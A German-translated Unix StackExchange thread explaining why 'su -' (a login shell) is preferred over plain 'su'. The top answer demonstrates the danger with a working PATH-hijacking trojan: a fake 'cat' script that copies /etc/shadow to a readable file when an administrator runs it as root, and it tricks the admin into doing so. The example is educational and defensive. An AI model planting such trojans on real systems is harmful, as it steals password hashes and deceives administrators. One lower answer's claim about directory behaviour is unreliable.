Warum verwenden wir su - und nicht nur su?

178

Ich verstehe nicht, warum su -es vorgezogen wird su, sich als root anzumelden.

Dharmit
quelle

Antworten:

241

su -ruft nach dem Benutzerwechsel eine Login-Shell auf. Eine Login-Shell setzt die meisten Umgebungsvariablen zurück und bietet eine saubere Basis.

su Wechselt einfach den Benutzer und stellt eine normale Shell mit einer Umgebung zur Verfügung, die fast der des alten Benutzers entspricht.

Stellen Sie sich vor, Sie sind ein Softwareentwickler mit normalem Benutzerzugriff auf einen Computer und Ihr ignoranter Administrator gewährt Ihnen keinen Root-Zugriff. Lass ihn (hoffentlich) austricksen.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Jetzt fragst du deinen Administrator, warum du catdie Dummy-Datei in deinem Home-Ordner nicht finden kannst, sie wird einfach nicht funktionieren!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Wenn Ihr Administrator nicht so schlau oder nur ein bisschen faul ist, kommt er möglicherweise an Ihren Schreibtisch und versucht es mit seinen Super-User-Kräften:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Beeindruckend! Danke, super Admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Er, er.

Möglicherweise haben Sie bemerkt, dass die beschädigte $PATHVariable nicht zurückgesetzt wurde. Dies wäre nicht geschehen, wenn der Administrator su -stattdessen aufgerufen hätte.

wedeln
quelle
10
su --ist das gleiche wie su.
Mikel
12
- ist ein Flag, das die meisten Programme als "nichts, was danach als Flag betrachtet werden sollte" interpretieren. Nützlich, um nach Dingen zu suchen, die mit einem Bindestrich beginnen.
David Mackintosh
2
Vergessen Sie nicht, eine umaskZahl wie 000 einzustellen, da dies sonst nicht funktioniert.
Lekensteyn
10
Man könnte auch einfach eine suDatei in den PATH legen . Es ist nicht so schwer, das Verhalten des Realen nachzuahmen su. Der Superuser war sowieso nachlässig :-)
Stéphane Gimenez
10
su --ist NICHT das Gleiche wie su -: --Weist einen getopt (s) (oder ähnlichen) Optionshandler an, die Verarbeitung der Befehlszeile für weitere Optionen zu beenden (nützlich, wenn der Rest z. B. Dateinamen enthält, die mit einem '-' beginnen könnten). Das heißt, in „rm -i - -f“: -f dann als reguläres Argument behandelt wird, so hier als Name der Datei zu rm -i, und nicht als zusaetzliche -fOption auf den rmBefehl. So su --ist es einfach suund nicht su -! So su --wäre als unsicher auf das (lustig und lehrreich ) Beispiel Givan von wag. Verwenden Sie su -.
Olivier Dulac
35

su -Meldet Sie vollständig als root an, suwodurch Sie so tun, als wären Sie root.

Das naheliegendste Beispiel hierfür ist das ~Basisverzeichnis von root, wenn Sie es verwenden su -, und Ihr eigenes Basisverzeichnis, wenn Sie es verwenden su.

Abhängig von Ihrem System kann dies auch zu Unterschieden bei Eingabeaufforderung PATHoder Verlaufsdatei führen.

Wenn Sie also Teil eines Teams sind, das ein System verwaltet, und Ihr Kollege Ihnen einen Befehl zum Ausführen gibt, wissen Sie, dass er bei Verwendung beider Systeme gleich funktioniert. Wenn Sie jedoch beide Systeme su -verwenden su, kann dies zu Unterschieden führen verschiedene Shell-Konfigurationen.

Wenn Sie andererseits einen Befehl als root ausführen möchten, aber Ihre eigene Konfiguration verwenden möchten, ist dies möglicherweise subesser für Sie.

Vergiss auch nicht sudo, dass es eine -sOption gibt, eine Shell zu starten, die als root ausgeführt wird. Dies hat natürlich auch andere Regeln, die sich je nach verwendeter Distribution ändern.

Mikel
quelle
1
Wenn ich "su" bekomme, werden ~ und $ HOME beide zu / root ausgewertet. Ist das von Ihnen beschriebene Verhalten für bestimmte Shells oder Betriebssystemversionen spezifisch? Nach meinem Verständnis kann ~ durch den Kernel erweitert werden. Ich habe zsh als meine (und root) Shell.
JasonWoof
Ihre .bashrcoder /etc/bashrcoder /etc/profile.dSkripte werden eingestellt PATH. Suchen Sie nach if [ $UID -eq 0 ]oder so ähnlich.
Mikel
$USERzum Beispiel bleibt unverändert.
Peterph
1
Was ist sudo su?
Simon Kuang
1
Ihr Beispiel funktioniert bei mir nicht. Ich bekomme das gleiche Verzeichnis in irgendeiner Weise gelöst.
Daniel W.
1

Ich benutze su - wenn ich als normaler Benutzer in einem Verzeichnis bin, aber zum Stammverzeichnis wechseln und nach dem Wechsel im selben Verzeichnis bleiben möchte. Wenn Sie su verwenden, wechselt der Benutzer zu root und Sie gelangen auch zu / root, dem Stammverzeichnis.

Calvin Dike
quelle
Oder /oder was auch immer als Stammverzeichnis definiert ist
Jeff Schaller
-1

Der Hauptunterschied ist:

su - username Richtet die Shell-Umgebung so ein, als wäre sie eine saubere Anmeldung als angegebener Benutzer. Sie greift auf die Umgebungsvariablen der angegebenen Benutzer zu und verwendet diese.

su username Startet einfach eine Shell mit den aktuellen Umgebungseinstellungen für den angegebenen Benutzer.

Wenn der Benutzername nicht mit suund angegeben su -wird, wird standardmäßig das Root-Konto verwendet.

Akhil MK
quelle